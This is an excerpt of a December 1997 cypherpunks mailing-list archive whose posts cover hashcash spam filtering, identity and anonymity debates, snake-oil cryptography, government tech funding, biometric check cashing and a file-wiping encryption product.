I1a4KZSVn1AoNd0ii7Mcw4Fp73SUcuZ74+EJovToOyBu++bqZdOYsA==
=jF0X
-----END PGP SIGNATURE-----






From comsec at nym.alias.net  Tue Dec 16 08:50:28 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Wed, 17 Dec 1997 00:50:28 +0800
Subject: UCENET II and Peter duh Silva
In-Reply-To: <668vgi$bpo@news1.panix.com>
Message-ID: <19971216164008.11359.qmail@nym.alias.net>



-----BEGIN PGP SIGNED MESSAGE-----

politas at dynamite.com.au (Politas) wrote:

> Surely that isn't the important thing.  More important is that the
> person really has an email address of "john_smith at hotmail.com".  Then
> it's up to Hotmail to be able to trace that email address back to the
> previous step, assuming that they are being forced to do so by a
> warrant or some other legal reason.
>  
> Personally, I think that all messages should be able to be traced to a
> real person, although this tracing should not be possible without
> legal action.
 
Are you saying that Hotmail should be made a guarantor of the identity of
its accountholders, or merely that they could be required, under certain
circumstances, to divulge what information (if any) it possesses, regardless 
of its accuracy?  AFAIK, the latter case is currently operative, since
Hotmail's records are presumably already subject to subpoena (in the USA,
at least -- I just realized you're posting from an Aussie domain).

IOW, when you sign up for a hotmail.com account, you're presumably required
to give them a "name".  If I signed up as "John Smith", should they be
required to verify that I'm really John Smith, or merely disclose that the
account belongs to someone who identified him/herself as "John Smith"?

If you're saying what I hope you're NOT saying, it would amount to a form
of "identity escrow", and I suspect that Hotmail would probably choose to
discontinue offering free e-mail accounts rather than take on that sort of
responsibility.

- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJaaXwbp0h8ZvosNAQHqtQf+LGGPWLQFPGfGgwKIHKOTAXQ74S08rGqt
i8yiuSY2RgC+CXzbXJaMmDQ9gAcPMmCKJqzc2O4bkresg+hz6/Cl6d+m+3FO4Nz+
HKeaEMlg3EXHuxTnhsx4vSAWubdbpC+OfkU6kQHf1YU1zWZnIV9c7SbWmSNeaYhq
sXLl6+YlPFwwZ0N5bUBqNkOsAQQveNFd/91mYGAZBi2R6P95F+RDV3/Jv3elhXgu
egBb2Igf7imK/U6zFhgm6+jCdFdpGOfJ030UAMulezFi/czaiNdLNR3jE4nnfrwQ
4qexxqUkwzNrNWX0M9T/YQ7wl+jIWi3KKj4s4QLHTKXhoHNDY7hPsw==
=W6Zl
-----END PGP SIGNATURE-----






From andy at neptune.chem.uga.edu  Tue Dec 16 09:49:16 1997
From: andy at neptune.chem.uga.edu (Andy Dustman)
Date: Wed, 17 Dec 1997 01:49:16 +0800
Subject: hashcash spam prevention & firewalls
In-Reply-To: <199712130059.AAA06343@server.eternity.org>
Message-ID: 



CC: me as I'm not presently reading cypherpunks (this was bcc:ed to
coderpunks).

On Sat, 13 Dec 1997, Adam Back wrote:

> The required filter functionality is something like this in order of
> desirability:
> 
> Accept the SMTP session.  Use an EHLO extension HASHCASH to say that
> this server expects hashcash.  (Extended HELO is a method of
> specifying SMTP extensions (I think)).  Accept the headers, and if a
> valid hashcash postage is not included, hand off to the real
> mailserver a site configurable bounce message.

I'm not sure this is doable. From what I've seen of the sendmail anti-spam
stuff and the SMTP protocol, you can't just accept the headers and then
decide whether not not to accept the rest; you either have to be able to
(at present) a) reject the message before you receive it based on the FROM
data (known spammers, bogus hostnames, etc); b) reject the messages before
you receive it based on the RCPT data (anti-relaying: is the recipient at
our site?); c) reject the message after you receive it. Obviously with
spam, you'd like to be able to reject it before it takes up bandwidth. So,
an extended protocol could require a CASH command from the client before
DATA will be accepted. The client could generate the cash on the fly, or
it could be grepped out of the headers. 

If you don't want to dink around with patching sendmail or whatever for an
extended protocol, then simply use a system-wide procmailrc to enforce
hashcash; procmail can generate bounces very easily (or rather, trick the
MTA into generating the bounce for it). Or, make requiring hashcash a
user-selectable option by having a publicly-available script which a user
can have included into his .procmailrc by setting some variable.

> This still leaves open the question of the user generating their own
> hashcash postage.  Again this could be problematic for neophytes.  One
> solution is to include a URL for a web page including a javascript
> hashcash generator -- this means that no new software must be
> installed, the user cut and pastes the generated hashcash into their
> message.

Two potentially simpler solutions: a) the client MTA could generate
hashcash on the fly as needed (like it generates Message-IDs); b) a filter
could be installed in place of the user's normal MTA which generates
hashcash. The latter is probably better (easier to implement). For
example, if the normal MTA is sendmail, then a fake sendmail could be
installed which is just a nasty little script which parses out the
recipients, generates a suitable hashcash token for each one, and inserts
the appropriate headers, and then passes the message off to the real
sendmail.

My preferred means of spam-blocking right now is a barrage of tests for
typical spams using procmail, combined with a reverse spam block. An
ordinary spam block is an address munge where something is added to the
address to make it undeliverable, so ordinary users have to unmunge your
address before they can mail you, i.e. andy at neptune.chem.uga.nospam.edu. A 
reverse spam block lets you use your real address for posts but requires
users to add something to your address to guarantee delivery. As my sig
indicates, if you add +spamsucks to my username, various spam filtering
features are deactivated. If I wanted to, I could bounce anything which
didn't have the +spamsucks in it. The recipe I use also uses lists of
"trusted" users (ones I don't do any spam testing on, so they don't need
the password) and "spammers" (we don't spam test these either, we just
make them bounce). Also will reject messages where I am bcc:ed (unless
from someone trusted or the password was used) or on a huge visible list
(again as before).

It works pretty darn good. I hardly get any spam. Most of what I get
bounces back to the sender with "User unknown". If the sender has a forged
From, then this at least bounces there, or to the site's postmaster, who
will likely take some action (but not complain to me because I don't
exist). If the From was completely bogus, then I get the bounce, but that
doesn't happen too often. I use this same system for the return address of
the cracker remailer (anon at anon.efga.org) and it works pretty well, though
as of late I am munging the return address for all USENET posts a la
mail2news_nospam at anon.lcs.mit.edu (which has been hugely effective); 
you're not supposed to reply anyway...

I would like to modify the nymserver so that users can set a reverse spam
blocking password, but just haven't gotten around to it. I'm pretty sure
it can be done, though.

Andy Dustman / Computational Center for Molecular Structure and Design
For a great anti-spam procmail recipe, send me mail with subject "spam".
Append "+spamsucks" to my username to ensure delivery.  KeyID=0xC72F3F1D
Encryption is too important to leave to the government. -- Bruce Schneier
http://www.athens.net/~dustman mailto:andy at neptune.chem.uga.edu   <}+++<







From declan at well.com  Tue Dec 16 10:28:29 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 17 Dec 1997 02:28:29 +0800
Subject: Clinton announces NEW GVT PROGRAMS to develop technology
Message-ID: 



WASHINGTON (AP) - Honoring 14 American scientists' "passion for discovery,"
President Clinton today announced $96 million in new government-assisted
programs to develop chip-sized supercomputers, hand-held video phones and
radio-transmitting ID cards to locate lost children.
	"Who knows what will be known in only 25 years," Clinton marveled,
pointing to recent innovations on the Internet and human genome research.
"We must rise to master the forces of change and progress as we move
forward."
	The $96 million already provided by Congress for this budget year,
combined with industry funds, would leverage roughly $200 million for
research and development, Clinton said.
	"The discoveries of tomorrow will be made possible by the
scientists of today and by our continued commitment to their passionate
quest," Clinton said.
	The Defense Department and semiconductor industry are teaming up to
pay for long-term university projects meant to eventually allow U.S.
companies to manufacture fingernail-sized silicon chips containing billions
of transistors.
	A Commerce Department initiative offers, through competitions,
funds to small companies working on breakthroughs in areas such as portable
video communications, radio transmitters to keep track of children and
affordable DNA diagnostics.

[...]







From rah at shipwright.com  Tue Dec 16 10:31:52 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 17 Dec 1997 02:31:52 +0800
Subject: NIST IPsec-WIT (Web-based Interoperability Tester) on-line
Message-ID: 




--- begin forwarded text


Date: Tue, 16 Dec 1997 07:48:46 -0500 (EST)
To: ipsec at tis.com
Cc: rob.glenn at nist.gov
From: rob.glenn at nist.gov
Subject: NIST IPsec-WIT (Web-based Interoperability Tester) on-line
MIME-Version: 1.0
Sender: owner-ipsec at ex.tis.com
Precedence: bulk


The NIST IPsec-WIT (Web-based Interoperability Tester) is on-line
and ready for use.

IPsec-WIT is an interoperability test system built around the NIST Cerberus
IPsec reference implementation and commonly available WWW technology.
IPsec-WIT allows its users to remotely control and execute series of
interoperability tests with the Cerberus prototype.  Test case selection,
configuration, execution and results analysis are all controlled remotely
by WWW browser.  IPsec-WIT is currently operational for IPv4 IPsec protocols
(with over 60 test cases) and will soon support IPv6 as well as key management
protocol testing.

For access to IPsec-wit and additional information see:
http://ipsec-wit.antd.nist.gov.  It is recommended that you read through
the tutorial before testing for the first time.  Comments and recommendations
can be sent to ipsec-wit-dev at mail.antd.nist.gov.

Best Regards,

Rob G.
rob.glenn at nist.gov

PS - Sorry if you have already seen this once.  I sent it out yesterday
afternoon and haven't seen it yet.

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: 







From sunder at brainlink.com  Tue Dec 16 10:51:47 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 17 Dec 1997 02:51:47 +0800
Subject: A gauntlet thrown down by PC-Magic?
In-Reply-To: <000401bd09f8$f4615200$07a1400c@default>
Message-ID: 



On Tue, 16 Dec 1997, Alex Woolfson wrote:

> Anyone care to take him up on his challenge?  Please say yes.  :-)

Give us source (or a good disassembler.) :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================






From adam at homeport.org  Tue Dec 16 11:02:55 1997
From: adam at homeport.org (Adam Shostack)
Date: Wed, 17 Dec 1997 03:02:55 +0800
Subject: Comparing PGP to Symantec's Secret Stuff
In-Reply-To: 
Message-ID: <199712161856.NAA01873@homeport.org>




Vin,

	Having worked for those multinationals and defense
contractors, I've seen them buy new products with serious weaknesses
in key generation, with year 2000 problems, with stream ciphers used
to protect stored data--keyed the same way each time.  I've seen them
use code that sent cleartext where it should have been encrypting on
the wire.

	I could retire a rich man if I never wanted to come back to
the US.

	Do due dilligence yourself.  Read the snake oil faq.  Insist
on speaking to someone at the vendor with two brain cells to rub
together.  If they claim Acme bought it so you should, too, insist on
speaking to the security folks at Acme who did the eval.  Its your
money.  Its their security product.  Feel free to evaluate it right.
If the vendor won't cooperate, go elsewhere.

	The product I'm building uses 'brand name' cryptography--
libraries and tools from well known sources.  It takes a bit of speed
away (I'd have prefered to use X9.17 over SSL for our bits on the
wire, but I couldn't find a peer reviewed X9.17 library out there.)


Adam


Vin McLellan wrote:

|    The lack of published source code is an issue, but if you see such a
| product being purchased by multinationals or US defense contractors you
| can be certain the implementation -- which is the real arena of
| vulnerability, once the algorithm is chosen -- has been carefully studied
| by informed cryptographers. (For non-American product, look for similar
| purchases by government-connected agencies in the vendor's nation.)



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From declan at well.com  Tue Dec 16 11:50:20 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 17 Dec 1997 03:50:20 +0800
Subject: The naming of the Presidential Pooch
Message-ID: 



The stakeout before the press conference. Note the hard-hitting questions
from DC political reporters:

	Q     There he is.  So what's his name?
	PRESIDENT CLINTON:  Isn't he pretty?
	Q     But what's his name?
	PRESIDENT CLINTON:  Press conference.  Press conference.
	Q     (Laughs.)  His name is "press conference"?
	PRESIDENT CLINTON:  Huh?
	Q     His name is "press conference"?
	PRESIDENT CLINTON:  That's a good idea.  That's probably what I
should have called him.
	(To the puppy) Do you want to go see them?
	Q     Mr. President, where does he sleep?  Where does the puppy sleep?
	PRESIDENT CLINTON:  Upstairs.
	Q     Upstairs?  Does he have his own little doggy bed?
	PRESIDENT CLINTON:  He has a little house in the kitchen.  He's
sleeping in the kitchen right now.
	Q     Does he sleep in a little dog house?
	PRESIDENT CLINTON:  Yeah, he sleeps in a little dog house.  And we
got another -
	Q     He is really trained?
	PRESIDENT CLINTON:  You may get a chance to see here in a minute!
(Laughter.)  Yes, he's done quite well, so far.
	Hi, Jimmy.
	Q     And what can he do?
	PRESIDENT CLINTON:  (Commands the puppy)  Sit!
	THE PRESS:  Oh!  All right!
	PRESIDENT CLINTON:  (To the puppy)  That's good.  Very good.
	Q     What's he eating, Mr. President?
	PRESIDENT CLINTON:  A little dog biscuit.  He's pretty well
trained.  And, you know, I get up in the morning and take him for a walk
early, at 7:00.  And then I give him breakfast, then we go for another
walk.  And then he has lunch and goes for another walk.
	Q     Who takes him at lunch time?
	PRESIDENT CLINTON:  Well, so far, I have.
	Q     He likes the press, Mr. President.
	PRESIDENT CLINTON:  Yeah, he does.  So do I.
	Q     He doesn't bother your allergies?
	PRESIDENT CLINTON:  No.  I've never been - yeah twice, three times.
I'm trying to work this out.
	Q     It's going to take awhile.
	PRESIDENT CLINTON:  It's going to take awhile.  It's kind of like
peace in Ireland or the Middle East, you know - (chuckles) - it's -
	Q     What happened when they met?
	PRESIDENT CLINTON:  Socks was a little scared of him, I think. And
yesterday - you could have had a great picture yesterday.  She jumped way
up - he jumped way up on my shoulder.  Socks climbed right up and got up on
my shoulders so that they would have an appropriate distance.  But we're
giving them items that the two of them have, you know, to try to get used
to the scent.  And I'll get it worked out.
	Q     What's his name?
	Q     He likes grass.
	PRESIDENT CLINTON:  He can hang out in the - he can hang out nearly
anywhere.  We've got a little flexible cage back in the dining room now in
the White House.  He comes over to the Oval Office with me in the morning.
He does fine.
	Q     Without telling us the name, can you tell us if it came from
a senator?
	PRESIDENT CLINTON:  No.  In the end, it didn't.  It didn't.  I'll
tell you about - I'll answer questions about it at the press conference.
	Q     What were your finalist names?  Can you give us any of that?
	PRESIDENT CLINTON:  I'll do that too, at the press conference.
Yeah, we went through - we went through about - you know, we got thousands
of names.  It was great!  And I had so much fun reviewing them.  And then
we went - (to the puppy) - don't eat that, you just had lunch! -
(returning) - and we got down to about seven or eight, and then we got down
to three and finally made a decision.
	(To the puppy)  Come on, kiddo.  Come on.   Let's go.
	Q     He's beautiful.
	PRESIDENT CLINTON:  Thank you.  I think he's beautiful, too.
	END







From frissell at panix.com  Tue Dec 16 11:57:35 1997
From: frissell at panix.com (Duncan Frissell)
Date: Wed, 17 Dec 1997 03:57:35 +0800
Subject: The Joys of Being Canadian
In-Reply-To: <199712161205.NAA23776@basement.replay.com>
Message-ID: <3.0.2.32.19971216143659.035fa580@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 01:05 PM 12/16/97 +0100, Anonymous wrote:
>
>Now the question is: When they find out you lied will they care?

Usually, no.

If you're worried though, don't lie.  Phrase your response as follows.  
(Assuming you've ever visited Canada.)  "I came to the U.S. from Canada.  
Canadians don't have Social Security numbers."

DCF  
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNJbYVoVO4r4sgSPhAQF0pwP+LTMaksEIkiDQNcFmr+Z/8164BwqL7tYt
Pkm5JtYqaqd9i9QSbn0pGkWNnWJtRUcvs6An8nZia1d02GlI3fpVvlh7dAzqrw/3
7uOX8/5w0xSjoVUdbxOJKP1FS7JsIsgn+7ER+wrNtU2eeITfLHgEMtp4SKc7AXnB
nW1WJ8VKfs4=
=SIt9
-----END PGP SIGNATURE-----






From tony at fozzie.secapl.com  Tue Dec 16 12:19:47 1997
From: tony at fozzie.secapl.com (Tony Iannotti)
Date: Wed, 17 Dec 1997 04:19:47 +0800
Subject: The 4th Great Awakening
In-Reply-To: <199711220530.GAA05205@basement.replay.com>
Message-ID: 



On Sat, 22 Nov 1997, Anonymous wrote:

> 
> Read "Speed" by William Burroughs.
> 

  I think that's Burroughs, Jr. Not his old man's measure at all.







From schear at lvdi.net  Tue Dec 16 12:33:38 1997
From: schear at lvdi.net (Steve Schear)
Date: Wed, 17 Dec 1997 04:33:38 +0800
Subject: Identity, Persistence, Anonymity, and Accountability--Part  I of II
In-Reply-To: <199712160027.TAA08624@mx01.together.net>
Message-ID: 



At 8:13 PM -0800 12/15/1997, Greg Broiles wrote:
>There's an important distinction between a requirement that you identify
>yourself accurately, and a requirement that you carry a particular form of
>identification. It is constitutional for the police to ask you what your
>name is, under certain circumstances - and you can face criminal charges if
>you lie. 

If you refuse to identify yourself to LE, how long can you be held (assuming their data base check turns up nothing.)

--Steve







From attila at hun.org  Tue Dec 16 13:16:52 1997
From: attila at hun.org (Attila T. Hun)
Date: Wed, 17 Dec 1997 05:16:52 +0800
Subject: Could you please PGP sign this MD5 sum?
In-Reply-To: <199712160820.CAA19094@manifold.algebra.com>
Message-ID: <19971216.175515.attila@hun.org>



-----BEGIN PGP SIGNED MESSAGE-----

    despite the fact you are not telling us for what reason you want this
    signed (there will be a copy on http://www.DejaNews.com anyway), I'll 
    sign it for you with my 512 "signature key " which 
    can be recovered from the MIT keyserver (or anybody else who tracks 
    them) or directly from http://www.primenet.com/~attila  --the key
    is also appended outside the signature block.

on or about 971216:0220, in <199712160820.CAA19094 at manifold.algebra.com>, 
    ichudov at algebra.com (Igor Chudov @ home) was purported to have 
    expostulated to perpetuate an opinion:

>I would like to kindly ask you to sign this md5 sum with your PGP
>keys, and return it to me signed. I would also appreciate a copy
>of your PGP key.

>Thank you very much.


>``I testify that I did see this MD5 checksum around Dec 16, 1997.


>	f3bffc327bf88846bc1d790c56da0ffb  caleidoscope.fixed.txt. ''

>Signed,

>	-Attila T. Hun

Type Bits/KeyID    Date       User ID
pub   512/93EAEEB5 1997/10/18 signature key 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJbtp7R8UA6T6u61AQGzOAH9ESBe73wQmZe29W1h8LybpR/w4wEmwQeT
Wtf+mN8UDaF5RNBzKmKRCpAn50zboswGtL2J/B3wIBGqxOLdTYE6LQ==
=FUEn
-----END PGP SIGNATURE-----

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
Comment: No safety this side of the grave. Never was; never will be

mQBNAzRI/8kAAAECALbDpNpjSdwDXsEWvzgdNmE8HOtvk/SRc25vqXxsEjA4s3AQ
UhIPHPzHka/bwBOik9CmWG0S0zfttHxQDpPq7rUABRG0HnNpZ25hdHVyZSBrZXkg
PGF0dGlsYUBodW4ub3JnPokAVQMFEDRI/8m0fFAOk+rutQEBbvIB/ia86uFQNv/+
/sQl9mZ+kQjVPnDZQiK2+EMaAOltk/5pW3/fgdLsv20Zo1LtbI+fjkN47qaS357X
0mtpr4rxde8=
=CRJ2
-----END PGP PUBLIC KEY BLOCK-----






From stewarts at ix.netcom.com  Tue Dec 16 13:22:47 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Wed, 17 Dec 1997 05:22:47 +0800
Subject: Radio Free Cypherpunks... (fwd)
In-Reply-To: <199712160540.XAA05167@einstein.ssz.com>
Message-ID: <3.0.3.32.19971216131730.00700e74@popd.ix.netcom.com>



>> Date: Mon, 15 Dec 1997 15:49:40 -0800
>> From: Steve Schear 
>> Over a year ago I started a heated thread on the Telecom Regulation list,=
>>  "Basis of FCC jurisdiction," which posited that the Commerce Clause basis=
>>  for FCC authority might not hold for very low power and tens of GHz=
>>  transmissions.  My argument, in short, was that if a transmission
couldn't=
>>  reasonably be expected to be detectable (using common receiver
technology)=
>>  across state lines then the FCC shouldn't have jurisdition.

Back in the Depression, the FDR-bullied Supremes ruled that a farmer
feeding his own grain to his own hogs was affecting interstate commerce
(in violation of federal regs on grain production), because he would
otherwise have been buying grain that might have come from another state.
Similarly, the federal drug laws contend that there's federal jurisdiction
over all drugs, because it's not practical to determine whether a given
bunch of drugs was locally produced or transported across state lines,
and that there should therefore be a presumption that it was for
determination of jurisdiction (even marijuana plants still in the ground;
presumably if you were to ding them for that in court, they'd respond with
the concept that growing your own dope to smoke by yourself is supplanting
dope you might have otherwise bought from another state.  Or they'd decide
the local cops can confiscate your land instead.)

At 11:40 PM 12/15/1997 -0600, Jim Choate wrote:
>So, are you considering such a broadcast? What I envision is a
>text-to-speech and/or a digital format.

You can get FM transmitters for about $30 at Fry's.  Not very powerful,
and probably less than a mile range, but it may have hack value,
especially if there were lots of them.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From stewarts at ix.netcom.com  Tue Dec 16 14:18:18 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Wed, 17 Dec 1997 06:18:18 +0800
Subject: The Joys of Being Canadian
In-Reply-To: <199712161205.NAA23776@basement.replay.com>
Message-ID: <3.0.3.32.19971216140636.0074217c@popd.ix.netcom.com>



At 01:05 PM 12/16/1997 +0100, Anonymous wrote:
>>Phone Company Rep:  "What's your Social Security number?
>>Answer:  "I don't have one.  I'm Canadian."
>>
>>Power Company Rep:  "What's your Social Security number?
>>Answer:  "I don't have one.  I'm Canadian."
>>
>>Cable Company Rep:  "What's your Social Security number?
>>Answer:  "I don't have one.  I'm Canadian."
>>
>>Doctor to Seasoned Citizen:  "I can't treat you privately or I'll be barred
>>from taking Medicare patients for two years."
>>Answer:  "Sure you can.  I'm Canadian."
>
>Now the question is: When they find out you lied will they care?

Last time *I* saw anyone calling himself Duncan Frissell was in Canada.
I don't know if he has Canadian ancestry, or just likes the culture,
but if he likes being Canadian, I'm not going to say he can't be.
	"Ich bin ein Canadianer".....
I don't remember asking if he had zero, one, two, or many SSNs,
but not only has he always seemed to be an honest guy, he also seems
to have enough understanding of and concern for privacy that he could
get along quite well without acquiring an SSN if he wanted to.
If you want to draw the conclusion from his statements that he 
doesn't have an SSN *because* he's Canadian, that's your logic problem....

And if he's not part of the Social Security system, he's presumably
not part of Medicare either.

The phone and power companies generally want your SSN to do a 
credit check to decide how much, if any, deposit to charge you
before turning on your service; if giving them your previous
phone number isn't interesting, you can always bring them cash.
(For reasons I don't remember, PacBell wanted me to walk in
in person to one of a small subset of their offices to 
set up the service...  probably because I wasn't the previous
person at the address I was moving in to.)
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From nobody at REPLAY.COM  Tue Dec 16 14:48:22 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 17 Dec 1997 06:48:22 +0800
Subject: No Subject
Message-ID: <199712162232.XAA03890@basement.replay.com>




The main french PGP HomePage is now here :
http://www.geocities.com/SiliconValley/Bay/9648

The page is called "PGP POUR LES FRANCAIS" ("PGP for the french people") and is wholly in french language.
You can find here a lot of informations about PGP 2.x and 5.x and a detailed PGP history.

A bientot :)

-----------------------------------------------
PGP pour les fran�ais
http://www.geocities.com/SiliconValley/Bay/9648
       






From rah at shipwright.com  Tue Dec 16 16:41:45 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 17 Dec 1997 08:41:45 +0800
Subject: Biometrics for the Masses
Message-ID: 




--- begin forwarded text


Mime-Version: 1.0
Date: Tue, 16 Dec 1997 16:05:08 -0800
From: jmuller at brobeck.com (John D. Muller)
Subject: Biometrics for the Masses
To: dcsb at ai.mit.edu
Sender: bounce-dcsb at ai.mit.edu
Precedence: bulk
Reply-To: jmuller at brobeck.com (John D. Muller)

     December 13, 1997
     Bank of America, Kroger, Mr. Payroll Agree
     To Test Automated Check Cashing

     Consumers and Retailers Benefit From Facial Biometric Technology

     


     (Fort Worth, Texas) - Fort Worth-based Mr. Payroll Corporation , a
     wholly owned subsidiary of Cash America International (NYSE:PWN),
     along with Bank of America and The Kroger Company announced today they
     have entered into an agreement to test the Mr. Payroll automated
     check-cashing machine. The machines will be installed on December 16
     in three Dallas area Kroger locations.

     Mr. Payroll, the world's first self-service check-cashing and
     automated teller machine, uses facial biometrics (the same technology
     now used to authenticate identity in the Pentagon) to identify users.
     This technology allows people with and without a bank account or photo
     identification to cash their payroll, government or personal check.

     "We're excited to have Bank of America and Kroger join us in providing
     consumers with 24-hour access to check-cashing services. This is a
     milestone for Mr. Payroll," said Mr. Payroll President Mike Stinson.

     "We're looking forward to testing this new check cashing technology in
     these Kroger locations," said Bank of America Vice President David
     McCary. "Providing financial services at popular retail locations
     enhances convenience for consumers."

     According to Manager, Store Services and Technology Jim Gehling,
     Kroger expects automated check cashing provided by Mr. Payroll to set
     a new standard in customer service in select stores. "To help
     introduce our shoppers to the machine, we're going to offer free check
     cashing through January 31, 1998," Gehling said.

     Consumers can look for the new machines in Texas at the Kroger stores
     located at 536 Centennial in Richardson, 235 E. FM 1382 in Cedar Hill,
     and 4142 Cedar Springs in Dallas.

     Mr. Payroll, which guarantees 100 percent of every check, has
     successfully cashed more than 25,000 checks since June 1997, when the
     first machine was installed at a convenience store in Fort Worth,
     Texas. To date, Mr. Payroll machines are operating in 18 convenience
     store locations in Arkansas, California, Colorado, Georgia, Nevada,
     Oklahoma, South Carolina and Texas.

     Bank of America Texas is a subsidiary of BankAmerica Corporation
     (NYSE:BAC), which has nearly 2,000 branches in 11 states. At September
     30, 1197, BankAmerica had assets of $258 billion and deposits of $171
     billion.

     Mr. Payroll is a registered trademark of Mr. Payroll Corp. All
     products or service names mentioned are the trademarks of their
     respective owners.

For help on using this list (especially unsubscribing), send a message to
"dcsb-request at ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: 







From nobody at bureau42.ml.org  Tue Dec 16 16:49:12 1997
From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Wed, 17 Dec 1997 08:49:12 +0800
Subject: A gauntlet thrown down by PC-Magic?
Message-ID: 



On Tue, 16 Dec 1997 at 00:02:27 -0800, "Alex Woolfson" 
 wrote:

> Hey guys
> 
> Just FYI here is the response I got from PC-Magic.

>> Thanks for the feedback.  We are considering an established 
>> standard.
>> 
>> BTW, for all the "crap" we get from supposed crypto experts 
>> no one has come close to breaking our method.  It does make 
>> for humorous reading tho.
>> 
>> Scott

> Anyone care to take him up on his challenge?  
> Please say yes.  :-)
> 
> Alex

What fucking challenge? Is he or are you so dimwitted as to
think that people have nothing better to do than provide
Scott and his cretinous friends with a first-hand education?
A "challenge" would be something like: 

    "PC-Magic has encrypted a [file/message/whatever] 
    containing ecash in the amount of $50,000, has 
    deposited with [an arm's-length third party] the 
    original text, the encrypted [file/message/whatever], 
    the software that decrypts it and the [password or 
    passphrase], and hereby agrees to leave the ecash
    prize current and unrepudiated until [deadline date],
    after which we will re-deposit the ecash and instruct
    the [third party] to reveal the message and demonstrate
    its decryption as a proof that the challenge was 
    genuine."

The prize amount would have to be relatively high since these 
people have not published technical information and no one has 
any real interest in investing time and money to demonstrate 
that people who appear to be idiots are, in fact, idiots. The 
$10K and lower challenges that have been issued in the past 
have mostly come from known entities with published algorithms.

Scott's characterization, "the 'crap' we get from supposed 
crypto experts." is indicative that he really didn't read and 
understand much of the criticism. It is typical of the 
ignorant who have embarked on a flawed course to become 
annoyed at well-founded criticism and to belittle their 
critics.

"...no one has come close to breaking our method" is indicative 
only of the lack of motivation on the part of qualified 
cryptanalysts, most of whom have much better things to do. It 
is the responsibility of the advocate of a cryptographic 
technique to raise the level of interest in testing it 
sufficiently high that it will in fact be thoroughly tested. 

To claim that a technique has never been compromised is to 
claim nothing at all. I have a message I encrypted when I was 
16 that no one has yet cracked. I could challenge PC-Magic 
to crack it. If they were sufficiently introspective to be 
able to examine their reasons for ignoring my "challenge" 
they would understand why theirs is not a challenge. OTOH if 
they had that many brain cells to rub together they would 
already have understood the logic of the criticisms they so 
glibly dismiss.

Perhaps a more satisfying exercise would be if PC-Magic were 
to encrypt a ton of the worst child pornography, hate 
literature and conspiratorial assassination plans imaginable, 
then present themselves and the computer containing the 
encrypted goodies to the office of the Bavarian prosecutor.

CryptoMongerII






From mrosen at peganet.com  Tue Dec 16 17:00:04 1997
From: mrosen at peganet.com (Mark Rosen)
Date: Wed, 17 Dec 1997 09:00:04 +0800
Subject: Kremlin 2.0
Message-ID: <008001bd0a85$b1dc39d0$4bc866ce@markdsk.peganet.com>



    What's the use of encrypting your files if they remain unencrypted,
lying around on your hard drive, reported as "deleted" space, ready for
anyone to steal? And why bother to encrypt your sensitive documents if your
word processor leaves scraps of these documents floating around your hard
drive? Security in the Windows environment seems to be a futile effort.
    Kremlin 2.0 offers an easy-to-use solution to the problem of Windows
data leakage. When you log off your computer, Kremlin can clear your
computer's memory (both the RAM and the swapfile), wipe the unused portions
of your hard drives (where temporary word processing files most often lurk),
and erase all records of your Windows access (such as the most recent
documents accessed, your Internet history, etc). And to securely delete a
file or folder, just drag it to the Kremlin Secure Recycle Bin.
    Of course, the encryption in Kremlin is also first rate. You can encrypt
a file with one of six algorithms (including IDEA, Blowfish, and RC4), just
by right-clicking and choosing "Encrypt". And Kremlin can automatically
encrypt your sensitive documents when you log off and decrypt them when you
log back on, preventing unwanted access to your files.
    Kremlin has been peer reviewed by the best in the business: Chris Hall,
from Counterpane Systems (Bruce Schneier's company), and Alexander Pukall
have both examined the Kremlin source code.
    Kremlin is fast, easy-to-use, and secure; it's the right choice to
protect your data.

You can download Kremlin from:
http://www.mach5.com/kremlin/


Mark Rosen
Mach5 Software
http://www.mach5.com/









From schear at lvdi.net  Tue Dec 16 17:54:07 1997
From: schear at lvdi.net (Steve Schear)
Date: Wed, 17 Dec 1997 09:54:07 +0800
Subject: Radio Free Cypherpunks... (fwd)
In-Reply-To: <199712160540.XAA05167@einstein.ssz.com>
